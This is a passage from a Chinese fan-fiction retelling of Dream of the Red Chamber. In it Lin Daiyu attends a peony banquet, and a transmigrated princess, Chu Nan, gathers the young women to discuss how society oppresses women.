林管家解释道,“绿竹阴凉,我就擅自把姑娘院子的花换成了芍药,老爷夫人都喜欢的,想着姑娘也会喜欢,不过,姑娘喜欢竹子,我让她们在花园种了一片潇湘竹,到时候您想赏竹取竹园就好,也可以邀请朋友来。”
王熙凤叹道,“这个秋千好,我看了都想玩,恨不得住着不回去了。”
黛玉道,“凤姐姐想住,我当然欢迎。”
说着她们进了屋子,看到左右两间布置不同的卧房,一间拔步床、壁炉,一间火炕,又设了专门的暖阁,方便她待客,新做的衣服、添置的书,都是她喜欢的,十分用心。
王熙凤看了在心里连连赞叹,贾家的那些仆人要是有林伯一半忠诚,她都谢天谢地了,想着得处理了,不然带累了家里。
林管家道,“姑娘在江南惯了,北方冬日寒冷,给您准备了两件卧室,到时候您习惯那个住那个,我让丫鬟找了京城流行的衣服样式,让绣娘赶制了几件,给您定制的首饰今天也就送过来了,您去贾家的时候都带着。”
参观完,丫鬟们送了点心、茶过来,林伯说,“姑娘、贾二奶奶快歇歇,丫鬟们准备了点心,茶,你们用过后,再让下面人来回话。”
王熙凤连连夸赞林家的点心,黛玉说到时候把方子给她。
不一会儿,林家京城产业的管事都来请安,汇报产业状况,黛玉一一看过,经营不当的指出问题,提出意见,经营良好的维持现状;又安排霜痕去首饰铺、含霜去绸缎庄、月霁去田庄、月皎去酒楼学习,子规、知更跟着林管家和荼白学习管家。
黛玉想着总不能让一直伺候她,总要学一技之长,以后能有更好的出路,她也信任她们。
见过管事后,黛玉又和林管家讨论了宅子修缮的一些事宜,让林管家修一个小书苑,囊括书房、画室、琴室、绣房、锻炼室等;修一个客院,以后用于宴客,黛玉倒没什么要求,直接让林管家做主。
杂七杂八的事情处理完,黛玉和熙凤用过膳便带着林管家准备的一马车东西回了贾家,林管家和荼白她们都十分不舍。
走到街市上,姑嫂二人掀开窗帘,看向外面,恰好一个蓝色锦衣、带玉冠的公子打马而过,熙凤连连赞叹,“什么时候京城出了这么一个神仙似的少年,不知那家的公子。”
黛玉沉默不语,她见了那个少年,仿若似曾相识。
黛玉对宝玉也有过似曾相识的感觉,只是后来的闹剧很快打散了初生的熟悉之感,下意识的排斥起这个少年。
11. 第十一夜
时间一晃而过,转眼到了卫国公府牡丹会的日子。
王熙凤早早起来帮着两个妹妹打扮,黛玉清楸对襟袄配暮山紫绣粉牡丹的襦裙,素心缃叶上袄配春辰绣春水绿波的襦裙,简单挽了发,簪了几个珠簪。
孔夫人带着张阅过来接她们,张阅花青上袄配淡翠绣蓝芙蓉的襦裙,姐妹几个见了,纷纷赞扬彼此的打扮。
孔夫人见了,连连赞叹,道,“这么好的姑娘都是我家,哎,就是不知道以后要便宜谁家。”
王熙凤也追着打趣,“要是我生个男儿身,保准都是我家的。”
孔夫人听了一笑,素心、黛玉、张阅连连撒娇。
孔夫人带着王熙凤、贾素心、林黛玉、张阅到卫国公府前已车水马龙,马车停下就有丫鬟迎她们入府,走到主院,穆郡主迎出来,边招呼她们进院子,边道“孔妹妹可算来了,让姐姐好等。”
穆郡主容貌清丽,三十些许,看着二十出头的样子,风华正盛。
孔夫人笑道,“我也早就盼着今日来见姐姐,这不早早出门接了姐姐相见的人。”
话落便拉过黛玉、素心道,“这是微姐姐的女儿素心、敏姐姐的黛玉。”又指着张阅、熙凤道,“我女儿张阅、微姐姐的儿媳妇王熙凤。”
又对黛玉几人道,“快给你姨妈请安,保准有好东西给你们。”
张阅、素心、熙凤、黛玉上前请安见礼。
穆郡主调侃道,“藏了这么久,你们家总算愿意放两姑娘出来见人了。”
忙拉过素心、黛玉看了又看,“好孩子,真像阿微姐姐和表嫂。”又卸下手上戴着的两个玉镯,给黛玉、素心戴着,又卸下一个玉佩给熙凤,“先戴着,呆会姨母有好东西给你们,以后有事记得找姨母做主。”
黛玉几人推辞不过,谢过郡主收下礼物。
话罢,忙招呼孔夫人几人进院子。
孙家夫人谭晏,陆家夫人宋疏,蒋家夫人杨芯已经带着女儿等着,杨夫人笑道,“我道谁呢,竟劳烦郡主亲自去接,原来是阿词妹妹。”
郡主雍容、孔夫人大气、谭晏清高、宋疏端庄、杨芯灵动,都正值盛年,各有风华。
她们等着看牡丹,可在别人眼里,她们也都是牡丹。
孔夫人端起茶笑道,“妹妹来晚了,敬姐姐们一杯,给姐姐们道个恼。不过,说郡主偏我,我可不依,姐姐们肯定也是郡主迎来的。” 又指向带着几个姑娘,“我今个可是要账来了,姐姐们可准备好见面礼。”一一介绍道,“我外甥贾琏的妻子王熙凤,外甥女素心,敏姐姐的女儿黛玉,我女儿张阅。”
孔夫人侧身对黛玉几人道,“这是你谭姨妈、杨姨妈、宋姨妈。”
黛玉几人一一上前见礼。
宋疏拉着黛玉和素心道,“我道谁家姑娘这般出类拔萃,原来是微姐姐和敏姐姐的孩子。”连忙从身上卸下首饰给黛玉、素心戴上,“姨妈今也没准备,改日给你们补上。”
又问道“身体可好?”“平日都做些什么?”,黛玉、素心一一回复。
谭晏道,“我们还想着这几日去躺荣国府,看看老夫人、素心和黛玉,谁知道你今日就把人带来了,可见我们该敬你一杯。”
丫鬟把常备的礼物递上,谭晏给黛玉、素心、熙凤、张阅一人一份,又道,“今个姨妈不知能见到你们,改日再补份好的。”
几人连忙道谢。
宋疏道,“我看该罚才是,一点口风不透,就把素心和黛玉带来了,我们连个表礼都没给孩子准备,现在只能凑合。”
孔夫人道恼,“这不是为了给姐姐们惊喜嘛。”
这厢,杨芯拉着黛玉道,“早先敏姐姐去江南的时候还说来日京城见,谁知再也见不了了,每每想起都少不了掉眼泪,如今看见你,好似看见了你母亲。”
杨芯说着难过起来,黛玉看着有人真心为母亲难过,不由得也难过起来,杨芯看着黛玉难过起来,道,“好孩子,姨妈可不是为了引你难过,你过的开开心心,你娘亲才放心。”
又拉过女儿蒋易道,“这是我女儿蒋易,比你们大点,叫易姐姐就好。”
指着孙芷道,“这是你谭姨家的妹妹,孙芷,叫阿芷就好。”
指着陆沅道,“这是你宋姨家的妹妹,陆沅,叫阿沅就好。”
姐妹几人互相见礼。
穆郡主道,“看着她们就想起我们那时侯,多好啊,只是微姐姐、敏妹妹已经走了,就盼着她们像我们一样,互相扶持着长大。”
蒋易清秀从容,陆沅清高自持,孙芷张扬明媚,素心温柔沉默,黛玉风流雅致,姐妹几个站在一起说说笑笑,美好的仿佛一幅仕女画。
孔夫人道,“我有个好消息给姐姐们说,我嫂子有意在家里办个女学,带着女孩们读书,你们要有意,尽管把孩子送过来。”
宋疏道:“我家这要债得到时候就交给你们了。白姐姐现在还好吧。”
孔夫人道,“早先林家给黛玉请女先生,素心、熙凤那会儿也都在江南,都是自家孩子,我就劝着大嫂去了,现在好多了。”
宋疏道,“还是你有办法,早先我们看着都心焦,姐姐也惦记着。改日进宫我就告诉姐姐这好消息。”
孔夫人恭敬道,“多谢娘娘惦记,我回去就告诉嫂子。”
几人闲话间,慎亲王妃杨苼带着女儿霜华郡主楚楠、韶华郡主楚柠来了,众人忙起身请安。
杨苼道,“快起来,都是自家姐妹。”看着陌生的素心、黛玉问道,“这两个姑娘谁家的啊,好生眼熟。”
杨芯道,“姐姐,是微姐姐家的素心,和敏姐姐家的黛玉。”
杨苼道,“怪道我看着眼熟,原来是阿微和敏敏的孩子。”
杨苼示意,跟着的宫人忙送上表礼,看着素心叹道,“真像,如今,她都走了这么多年了。”
素心、黛玉道,“谢谢王妃。”
杨苼拉着素心道,“唤我姨母就好,我和你母亲自幼交好,敏妹妹也是自小看着长大的,有时间了,接你们去王府玩。”
说话间,李家夫人白汀带着女儿李思,沈家夫人吴雯带着女儿沈安进来,穆郡主道,“可算来了,就等你们了。”
众人寒暄见礼后,穆郡主道,“天朗气清,牡丹花开正好,姐妹们移步共赏,可好?”
众人从善入流,随穆郡主移步牡丹园。
牡丹园里赵粉、豆绿、魏紫、
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姚黄争芳斗艳,玉楼点翠、青龙卧墨池、虞姬艳妆、玉玺映月、雪映桃花各色牡丹交相辉映,蔷薇型、荷花型、托桂型、皇冠型、前台楼阁型……样样齐全,连同少见的双色牡丹都有几株。
众人赞道,不愧“国色”。
杨苼道,“还是你家的牡丹品种齐全,样样都好,只一样不好,牡丹花宴只一天。”
郡主道,“我倒想留姐妹们从牡丹花开住到牡丹花谢,就只怕有人不同意。”
杨苼听了笑道,“你个促狭鬼,那就把我家楠楠和柠柠留下吧。还是孩子好,我们整天被琐事缠着,哪有时间玩乐,半晌闲暇都难寻。”
穆郡主道,“那都留着住几日,若竹整天喊着要姐姐妹妹呢。”
吴雯问道,“若竹呢,今儿个怎么没在?”
穆郡主道,“给我出了个新点子,去张罗了,给你们个惊喜。”
“偷得浮生,一日尽够了。”白汀道。
孔夫人道,“这怎么能够?改日我设宴,可都要来哦。”
宋疏道,“姐妹们齐聚京城不容易,我们每个月找个由头聚一次,这次郡主做东,后面换着来。”
谭晏道,“这个主意好。待榴花开了,我请姐妹们去庄子玩,榴花似火,煞是好看。”
穆郡主道,“就这么说定了。”
大人这边闲聊,一群小姑娘们早就走开,三三两两的围着喜欢的牡丹花看着,有的吟诗,有的作画,诗情画意,无忧无虑,很是美好。
杨苼看到霜华郡主和黛玉站一起赏花,相谈甚欢,还是女儿主动的,很是惊讶;毕竟大女儿一贯冷淡,从未与初认识的姑娘相处这么融洽过。
她想,别的姑娘有的,她的女儿也要有了,良友二三有了,只待良人归了。
正巧,容貌妍丽,风风火火的进来,停在夫人们面前,“若竹给诸位姨妈。筵席已经备好,若竹来请姨妈和妹妹们入席。”
郡主道,“那我们走,看看她准备了什么。”
说着,众位夫人并姑娘们移步。
筵席就在设在牡丹园里,设在牡丹花丛中。
到了一看,牡丹富贵鸡、飞燕全鱼戏牡丹、牡丹金汤虾球、牡丹三吃、牡丹饼、酥煎牡丹……香气袭人,又赏心悦目,杨苼道,“牡丹园里牡丹丛,牡丹丛中牡丹宴。赏花、吃花、饮花,风雅之极。”
众人落座。
宋疏道,“果然巧思,若竹也已经是大姑娘,能独当一面了。”
谭晏道,“你是不是要来一句我们都老了。”
吴雯道,“可不是嘛。看看这满园的姑娘,都花骨朵的一样年纪,岂不衬的咱们都老了。”
众人吃的不亦乐乎,丫鬟们又送上几道牡丹汤品,牡丹花银耳汤、牡丹花粥、牡丹花青鱼汤、牡丹皮粥,若竹站起来道,指着汤品介绍道,“姨妈、妹妹们都多喝点,这是我在古籍上看到的做法,我特意请教了大夫,说对身体有好处,我到时候把做法和作用写给姨妈。”
白汀道,“若竹真贴心。好想要个贴心的女儿。”
李思道,“娘,我一定努力,向若竹姐姐学习。”
众人哈哈大笑,吃完饭,打发若竹带着妹妹们去玩。
12. 第十二夜
楚楠听见“林黛玉”的时候,仿佛灵魂出窍一般,只是她向来冷淡,没人看出什么。她以为她都忘了,却原来还是没有。
楚楠不由自主地想,“林黛玉是她知道的那个林黛玉吗?”
她定睛一看,面前的姑娘姿容绝代、姣花照水、自然风流,顿时没有了疑惑,她不是,谁配的上世外仙姝呢?只是这个林黛玉比她知道的林黛玉更健康。
在楚楠的世界里,林黛玉是极有名的。
林黛玉年幼丧母,外祖母多次来信要接她去外祖家;父亲忙于公务,想着外祖家有外祖母教养、有表姐妹陪伴,便送她远赴外祖家投亲。
本是为了她好,谁知她去了外祖家只有几个仆人来接,只能从角门进,连住处都没安排好,但她已经来了,也不想父亲担忧,一直报喜不报忧。
外祖家有把她捧在手心的外祖母、乖张但对她真心好的表哥、有不怎么待见她的二舅母、守寡的大表嫂、爱玩闹的二表嫂、温柔的二表姐、好强的三表妹、孤僻的四表妹、同样来投亲的圆滑的宝姐姐、失去父母的湘云妹妹,还有其他不熟悉的亲戚,黛玉过的还算顺心。
直至父亲重病去世,她回家再次到外祖家,一切都不同了。她从官家贵女变成了孤女,外祖家的仆人捧高踩底、流言蜚语如风霜刀剑,让她苦不堪言。
好在有情投意合的表哥、有知己一般的宝姐姐,还有其他姐妹相伴,可谁知最后真心相待的表哥、宝姐姐给了她最致命的一击,外祖母也放弃了她。
她只有一死。
好在她是还泪报恩的仙子,为的不是人间的岁月静好,所以时间到了,她就走了。
只是留给后来者许多意难平。
后世为她哀叹惋惜者数不胜数,无数笔者写下锦绣篇章,意图给她一个圆满。楚楠也是其中一员。
当楚楠来到这个世界,成为皇家郡主后,她野心勃勃的认为自己是主角,命运一定会眷顾她,想做什么都会成功,她一定要改变天下女子被压迫的命运。
楚楠在大人们的聊天里听到四王八公,听到荣宁二府,就确定这是林黛玉的时代。于是,她坚信救林黛玉,改变她的命运,是她来到这个世界成为郡主的使命。
可一切还未开始就已结束。
楚楠还未长大的时候,就已经见到了这个世界的残忍。
王府后院并不太平,楚楠还是婴儿的时候侧妃借着奶娘的手害她,最后败露,奶娘被杖毙,可侧妃依旧是侧妃。
后来,这样的事情更是不胜枚举,主子心情不好或看奴婢不顺眼,借着茶水温度高了,都能处死奴婢;主子耍阴谋,失败承担责任的永远是身边的丫鬟们……
楚楠怕极了,渐渐忘了初来这个世界的野心勃勃,再也不敢轻举妄动,只能冷冷淡淡的活着。
她怕,她的出格、她的行差踏错害了别人的性命。
可是,她见到了谁,林黛玉,贾素心?
在她的记忆里,她们从来没有离开那座宅子,她们被困了一生,贾素心也不叫贾素心,叫贾迎春。
她们在大人的介绍下互相认识。
她想,这一定是命运的指引,要她完成在这个时代的使命。
姐妹们分开赏花的时候,楚楠漫步走向林黛玉,“我见姑娘心生亲近,不如聊聊?”
“好啊,我见郡主也觉得投缘。”林黛玉笑的明媚。
“我比你大些,叫我姐姐就好。”楚楠道。
“姐姐好,妹妹这厢有礼了。”林黛玉俏皮道。
“你是什么时候进京的,怎么之前没见过你和贾二姑娘出来过?”楚楠问道。
“家母病逝,今年出孝后才进京的。表姐两年去姑苏奔丧,也是今年才和我一起回京的。”黛玉道。
楚楠一边回道,“妹妹节哀”;一边疯狂的转动脑筋,原本贾家并未派人给贾敏奔丧,黛玉也不是守完孝才进京的,难道这个世界不只她一个变数,是谁改变了剧情?又或者这是平行世界?
黛玉道,“我总要往前走。”
楚楠回过神道,“对啊,长辈都是盼着我们好的。说不定姨妈变成星星在天上陪着你呢!只要你记着她,她就永远陪着你。”
黛玉笑,“谢谢姐姐宽慰,我当真了。”
楚楠道,“改天邀妹妹去我家玩。”
黛玉道,“那我就等着了,等我爹爹回京了,我也设宴,邀姐姐们去我家玩。”
楚楠想起曾经黛玉只带了一个小丫鬟、一个老嬷嬷进京,没有得用的丫鬟,在荣国府过的很是艰难,赶紧道,“妹妹这次进京可有带够伺候的丫鬟?妹妹要是缺人,尽管给我说,别的我帮不上你,给你求个嬷嬷还是可以的。”
黛玉知道楚楠说的嬷嬷是宫里出来的教养嬷嬷,很是难得,是给她撑腰的意思,并没有觉得楚楠的问话冒犯,语带感激的说道,“姐姐的心意我领了,只是这次进京爹爹吩咐我修缮老宅,原本伺候的人都带着。”又解释道,“早先娘亲去世,爹爹请了先生让我在家守孝读书,这次先生也进京了,过些时日就去先生家学习。”
楚楠道,“你先生是哪家的?”
林黛玉道,“白老师是张家大舅母。”
楚楠道,“我听母亲说过,白夫人年轻时可是不让须眉的才女。不知道白夫人还收学生不?”
林黛玉道,“孔姨刚说了老师有意办女学,指定收学生。姐姐可有意?”
楚楠搞怪的作了一揖,“我回去就去求母亲,不过还请妹妹美言一番,姐妹们能不能一起读书就看妹妹了。”
林黛玉回了一揖,“小事一桩,我也盼着姐妹们一起学习。”
楚楠谢过,面露踌躇,林黛玉看了便说,“姐姐有话尽管说。”
楚楠挣扎了一会说道,“我多嘴一句,妹妹别见怪。林大人一个人在江南案牍劳形,极易积劳成疾,妹妹可要叮嘱林大人注意身体,以免林大人疏忽小病拖成大病;也不要报喜不报忧,如果林大人没也牵挂,太过放心,也可能出事。”
楚楠想,她什么都没做,事情都已经改变了。那她提醒一句,就算黛玉不舒服,可黛玉记挂父亲,指定会注意,那她以后就不用失去父亲了,也就不用永远的寄人篱下了,就能改变她的命运了。这样的话,就算被讨厌也值得了。
黛玉七窍玲珑,自然明白楚楠的叮嘱出自真心,不然不会初见就冒着讨嫌的风险说这些。
黛玉少见了的想起了多年前的那个梦,梦里的结局并不好,那郡主又为何会这么说呢?难道她也知道些什么?
“姐姐也是为我好,谢谢姐姐提醒了,我会放心上的。”黛玉低声回道;想了想又低声问道,“娘亲死后,我曾做了一个梦,只记得最后白茫茫一片,什么都没有,姐姐可知道些什么?”
楚楠坦诚相待,林黛玉自然回以真心。
楚楠想,白茫茫一片是宝玉梦游太虚听得戏曲《红楼梦》里的词?难道林妹妹也有这等机遇?便问道,“妹妹可曾梦游太虚?”
黛玉激动道,“姐姐怎知?”
楚楠道,“我也曾大梦一场。”
黛玉犹疑,却未言,楚楠挥手让丫鬟们都退的更远,“妹妹直说便是。”
“姐姐与我有相似的经历,我就直说了。我梦到千红一窟、群芳髓、还有万艳成杯,都在
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说我们女子的苦泪。”黛玉顿了顿又说,“尽管我不曾见过多少惨事,可卖女儿总见过的,也知道如我父母般疼爱女儿的毕竟少数,大多数就算疼女儿也更疼儿子,这都算好的。更多的父母把女儿当工具,要女子如傀儡般没有思想的活着,从父从夫从子,女子的一生更像是一部部血泪酿造的悲剧史。我有这般机缘,想要为她们做些什么。”
楚楠听了,很是振奋,又不觉有些惭愧。
这是她想做却不敢做的事情,她比黛玉更知道女子生存的残酷,可她却没有黛玉的果敢。
她读书时曾听过,有的人家生下女婴会直接溺死;有的人家生下女婴对埋在路桥下,让行人千踩万踏,以求生下男丁;有的人家好些,把女婴扔在路上,生死全凭运气;有的人家把女婴扔进塔里,算是葬了;有的人家养着女孩,小时候当劳力,长大了给家里兄弟换彩礼,嫁到别人家生儿育女,当牛做马,一辈子就过去了……
她也看过,有女子为了争权夺利,略施小计,让万千女子陷入更不堪的境地;有女子嫉妒姐妹,算计姐妹失去清白,踩着姐妹的清白性命迈向高位……
她还看过,一男子为了表达自己对妻子的爱,扒了妾室的衣服让其跪在门口,那样的男子何其薄情,那些妾室、妻子何其无辜?说到底错的男子,若他真爱妻子,哪怕妻子、母亲送了小妾,也会拒绝,怎会有小妾?妻子得到的爱中夹杂着其他女子尊严、血泪,何其可笑?为荣华富贵为妾的女子固然可恨,可更多女子为妾是迫不得已,是为了生存……
到了这里,她也见过,有的姑娘千娇百宠的长大,嫁到另一户人家,做媳妇、做儿媳妇、做母亲、做主母,养自己的孩子,还要养妾室的孩子,老了丈夫去世了,孩子长大了,又仰仗着儿子的鼻息过日子,孩子成器孝顺日子好过点,可不孝顺不成器还不是得过,总之生活不能自主,只能如此。
要是碰到宠妻灭妾的丈夫,求助娘家,也只会让姑娘忍者,不会说让她和离,接姑娘回家。运气好点,熬死他们,自己做主;运气不好,自己死了,留下财产被挥霍,孩子被磋磨。
女子一生千难万难,公主尚不能顺心如意,也可能遇上豺狼无法挣脱,何况平常女子。
楚楠斩钉截铁道,“妹妹邀我同行,岂有不从之理。”
楚楠和黛玉相视一笑,得遇知己,大道同行,当浮一大白。
不一会儿,卫若竹过来请夫人、姑娘们入席,楚楠、黛玉、张阅、孙芷、素心、卫若竹几人围坐一桌。
卫若竹道,“哎呀,今儿个来了神仙妹妹,可恨我没能早早认识。”
楚楠道,“这会儿也不晚啊。”
张阅神秘的说道,“不遗憾,指不定我们以后长久相处的时候,快求我!”
卫若竹听了,焦急地问道,“阅妹妹,求你了,快告诉我们,别卖关子了。”
张阅道,“大伯母要办女学,姐妹们有意的话,快回家求求姨母,神仙妹妹指定能天天见。”
素心调侃道,“表姐这是把黛玉妹妹当招牌用了。”
张阅一副被你说中的样子,道,“谁让我们黛玉妹妹招人疼呢。”
黛玉做出害羞的样子,“哎呀,都不是好人,逮着我欺负,我不依”,后面把自己都逗笑了。
姑娘们看了,笑成一团。
若竹在牡丹园安排了游戏,吃过饭,便带着姑娘们回了牡丹园。
路上楚楠问黛玉,“我二人力量有限,我欲邀姐妹们同行,如何?”
黛玉道,“我与姐妹们尚不熟悉,不过我相信姐姐,姐姐做主便事。”
楚楠在心中定了注意。
13. 第十三夜
待姑娘们回到牡丹园,园子里已经焕然一新。
园子里四散的彩带上写着一个个灯谜,零落的摆放着笔墨纸画,放置着箭靶、投壶、棋盘、琴、筝等,很是有趣。
“姐妹们,想怎么玩?”卫若竹问道。
蒋易道,“客随主便,起码要让我们尽兴而归才是。”
楚楠道,“若竹,听见没,不尽兴我们可就赖着你了。”
若竹道,“不如玩九射格,姐妹们每人想个要求,写在签子上,抽签后射箭,射中红心指定姐妹们完成,射不中自己完成,可好?”又道,“不想参与的姐妹,可以结伴猜谜,或者玩投湖、画画,自愿选择。”
沈安射箭一绝,兴奋道,“这可好,姐妹们可别落到我手里。”
孙芷道,“来,谁怕谁。”
众人不甘示弱,纷纷加入。
说话间,若竹的贴身丫鬟宿春拿来签筒、签子和纸笔。
若竹问道,“姐妹们自己写,还是让宿春来写。”
陆沅道,“宿春写吧。也让大家都知道要面对什么,提心吊胆会。我来说第一个,剑舞一支。”
沈安接着道,“小心坑到自己。弹一曲十面埋伏。”
……
张阅道,“我也不为难姐妹了,作诗一首吧,以牡丹为题。”
三言两语间,几人便定了。
若竹是主人,姐妹们让他先抽,却抽中了最不擅长的剑舞,却未射中,连连告饶,最后跳了一曲惊鸿,惊艳众人。
调子起的高,后面的姐妹们也不甘示弱。
李思抽中舞剑,射中指定沈安完成,沈安舞剑一曲,剑气四溢,不让须眉。
素心抽中画舞,偏她又不擅长,只得期待射中红心,可惜未能射中,饮酒一杯告饶,姐妹们起哄不放过她,直到张阅自告奋勇,才松口放过她,让她给张阅伴奏,张阅边舞边画,得墨色牡丹一枝,仿佛有香气溢出。
陆沅祈祷不要抽到从未接触过的黄梅小调,结果偏偏不如她意,又未射中红心,偏姐妹们也无人能帮她,只得磕磕绊绊的唱,给姐妹们贡献了足够的笑料,惹得众人嬉笑不止……
姐妹们你来我往,好不欢喜,直到林黛玉做牡丹诗一首,
“花中王者骄天下,傲骨不尊武皇令。
一朝遭贬零落泥,无尽苦泪为哪般。”
众人沉寂,陆沅道,“只是悲了些。”
楚楠道,“怕是刚刚和妹妹说了些不太开心的话题,妹妹一时没走出来。”
沈安道,“什么事,姐妹们虽拙,但也能疏散疏散,指不定能帮上忙呢。”
姐妹们纷纷响应。
楚楠道,“就等你们这句话了,我们去若竹院子说。”
姑娘们移步若竹的竹苑。
院子外面砌着一圈乱石墙,院门两旁栽着几杆翠竹,不多,胜在增添几分绿意。
屋子白墙黛瓦,墙上绘着各色牡丹,与院中交相辉映,煞是好看。
黛玉道,“卫姐姐巧思,这院子收拾的很是有趣。”
楚楠道,“你以后有眼福了,等你下个月来,墙上的画指不定就变了。”
黛玉道,“那我可得求卫姐姐,让我多来几次。”
卫若竹道,“妹妹这般美人,我只恨相识太晚,就只能留着妹妹久住了。”
张阅道,“表妹快来,有人要抢妹妹了。”
卫若竹道,“你过来,我把你们都抢了。”
众人哭笑不得。
谈笑间几人进入内间,各自找地方坐了,丫鬟们奉上点心、水果、茶水,若竹让宿春带着丫鬟们离开,在院子外面守着,叮嘱道有人来赶紧示警,屋内只剩下姑娘们。
若竹道,“郡主有话尽管说,绝对安全。”
若竹和楚楠自幼相识,一贯默契,自知话题非同小可,不然直接在牡丹园就说了。
楚楠想,这时一切的开始,或者可以记录下来,启迪后来者,便道,“可有那个妹妹愿意做个记录?”
蒋易自负书法,道,“我来。”
蒋易走到桌边提笔写道,“乙卯年四月二十,吾与母亲赴卫国公府牡丹花宴,遇好友楚楠、林黛玉、张阅、素心、卫若竹、李思、楚柠、陆沅、孙芷与沈安,赏花、食花、玩乐,黛玉作悲诗,楚楠道悲因。众人至竹苑会谈,谨以此记。
……”
若竹坐在桌边磨墨。
楚楠直言:“今日我和黛玉妹妹谈起女子的一生,不过芳髓尽、进一窟、成一悲,一时难过激愤,想要做些什么,妹妹们可有意?”
蒋易问,“我们能做些什么,父母宠溺,也只有宠溺,我们自己尚不能自主,这一生不过从一个宅子到另一个宅子?”
众人不禁悲伤起来,为自己的未来,为女子的未来,为自己的不由自主和无能为力。
楚楠道,“姐妹不妨先听我说几个故事?”
若竹道,“别卖关子,快说。”
姑娘们正襟危坐,洗耳以待。
楚楠道,“一户人家得一女,女孩聪明伶俐,父母珍爱异常,视若掌珠。女孩六岁那年,她的父亲抱着她在庭中赏花,做了一首咏蔷薇的诗——‘经时未架却,心绪乱纵横’。因‘架却’与‘嫁却’谐音,她的父亲便觉得六岁姑娘写出待嫁的心绪颇为不详,认定她以后会成为失行妇人,仅十一岁便送她入道观修行。
女孩入道馆后依旧专心笔墨、潇洒度日,加之工于格律、善书画与弹琴,与很多名人交情匪浅。
不知出于报复,还是出于天性,女孩在诗词中一扫古来女诗人的羞涩婉转,坦然男女社交;在日常交际中,言谈大胆,也与多名男子情投意合,动了真情。
比起风流韵事,她的诗名更胜,才子仰慕,连同深宫的皇帝也听到了她的诗名,传召入宫,只是那时她已老了,被敬称为‘俊媪’。没有以风华正茂时的绝世姿仪面对这场邂逅,是她一生的遗憾。
后来,她留在了京都,只是遇到了朝廷动乱,身无长物的她无力逃亡,只得留在原地等待命运的铡刀。她的盛名给她带来了无尽麻烦,叛贼要她写诗,不知出于对朝廷的失望,还是恐惧,她妥协了,写了诗。
最后,平叛而归的皇帝斥责她没能做到不言,等同叛国,将她乱棍打死。”
楚楠语气艰涩,顿了顿又道,“有一名臣,文武双全,在治军、吏治、外交、教育等多方面各有建树,被誉为第一名臣、千古完人,是文官封爵第一人。
比起把儿女全权交给妻子的大老爷们,他还有一点特别好,就是重视家庭教育,在生活中以身作则,引导子弟身、心、行兼修,做一个宽容、谦敬、朴实、不刻薄、不清高、不奢侈的人。
这样一个完人,偏偏在女儿的婚事上备受争议。
嫁妆少无可指摘,毕竟他的勤俭出于天性,并非严人厚己。但五个女儿,四个结局悲惨,只有一个善终。
长女与他好友的儿子定了娃娃亲,好友早逝,女婿吃喝嫖赌,五毒俱全,败尽家财,连同父亲的藏书也卖了。他依旧坚持嫁女,婚后他打算教育女婿成才,未能成功,最后放弃,放话不再与女婿来往。在女儿受尽苦楚的情况下,却坚持不允许和离,致使长女郁郁而终,年仅二十九岁。
次女最为贤惠,也嫁给他朋友的儿子。二女婿脾气暴躁,次女婚后屡遭打骂,求助父亲教导丈夫。可他发现二女婿脾气暴躁后,却叮嘱女儿柔顺恭敬,最后次女死于三十九岁。
三女嫁给他朋友的一个庶子,是一个只会吃喝玩乐的纨绔子弟,外出为官早死。他不许女儿归家,三女只得与脾气古怪的婆婆为伴,受尽磋磨,最后死于三十九岁。
四女二十岁守寡,他却不支持女儿再嫁。最后只能在夫家拉扯年幼的孩子,劳累过度,死时只有三十六岁。
四个女儿的悲惨经历才换来他的后悔,换来他对幼女的怜爱,让他为幼女谋取了一个幸福的婚姻和余生。”
楚楠说道最后,几近耿燕,黛玉、素心、楚柠几个姑娘都已落下眼泪。
楚楠缓了会儿又说,“有一女子,年幼流落江湖,被卖给一个年逾花甲的老人为妾,她年幼聪慧,老人爱才,教她诗词歌赋,却也惹了嫉恨;后老人去世,她被赶出家门,被迫为妓,时年十四岁。
为妓后,她常穿儒服出入文人雅集,与士子诗歌唱和、谈论天下大势,文采风流,不让须眉。
与一男子相悦,却被其家人阻挠,她愤然离去。
后遇到一个大儒,被她的才情打动,要迎娶她,虽遭反对,但终结秦晋之好。
国破家亡之际,她与大儒相约投湖殉国。大儒以‘水太凉’反悔投降;妓女屡劝不得,愤而投湖,却被阻止。死不了,那就有价值的活着,此后,她一直坚持资助义军,受她的影响,大儒也称病辞归,与她一起帮助义军。
这样一个深明大义的女子,丈夫死后,遭族人逼迫夺产,悬梁自尽。”
楚楠说罢,问道,“这样的例子不多,却也不少,更多地女子挣扎在温饱线上,一生劳苦,前半生为父母兄弟,后半生为丈夫子女,半点不由自己,姐妹们可有想法?”
若竹道,“我不如她们多矣。”
孙芷反思,“往日以出身论英雄,是我的浅薄。”
陆沅道,“如果你们想做些什么,算我一个。”
楚柠惊疑不定,她与楚楠同胞姐妹,自幼相伴,从未曾听过此类言语,同情她们的同时,对姐姐的了解让她泛起恐惧,本能问道,“姐姐想做什么?”
楚楠道,“我想要女子的一生不再是血泪史,我想要女子的付出被正视,我想要这个世界有女子的声音,我想被压迫的女子摆脱压迫。”
楚柠不懂,却也预感到那时一条荆棘遍布的路,很危险,想要劝阻,却不知道怎么说。
卫若竹道,“算我一个。”
姑娘们都还小,最大的尚未及笄,最小的不到十一,尚未见贯不公,屈服不公,尚有不服之心,又有一腔热血,纷纷响应楚楠,楚柠也被感染,加之她本就被打动,也表示愿尽一份力。
统一意见后,姑娘们七嘴八舌的说起要怎么做,有的说要捐东西,有的说捐钱,有的说还要找朋友一起加入……
林黛玉冷静后,说道,“姐姐们,我们现在什么都做不了。与其讨论我们做什么,不如讨论我们女子悲剧的原因?”
李思懂了,道,“追根溯源才能找到根由,对症下药。”
孙芷道,“说到底是世道对女子太坏。”
陆沅道,“一个姑娘的悲剧来源于父亲的恶意揣测,可如果顺遂的出嫁,她一生又真的能一帆风顺吗?我们也说不准她入道观后的生活精彩,还是相夫教子的安稳?或许,她也不觉得嫁人好?”
沈安道,“那是她的选择。可六岁的孩子就算聪慧,无人教导,怎会知晓婚嫁?蔷薇是攀援植物,不搭架子,长着长着会满地乱爬;别说蔷薇,我要做一件事情,到了时间没做到,也会心绪烦乱,这不就是一个简单的以物比人吗,怎会攀扯到婚嫁?”
蒋易边写边问道,“不过因果,揣测是因,后来是果。不过,谁知道呢?我们只看到一个结果。说到底,女子无法决定自己的命运,受制于人,只能任人宰割。”
素心道,“世道不让女子独立生存,依附于人必然受制于人。”
张阅道,“唯有第二个故事让我悚然。”
林黛玉一针见血的评价道,“兔死狐悲。”
李思道,“高官父亲不能为嫁入破落户的女儿做主,说到底,不过是他不在乎。”
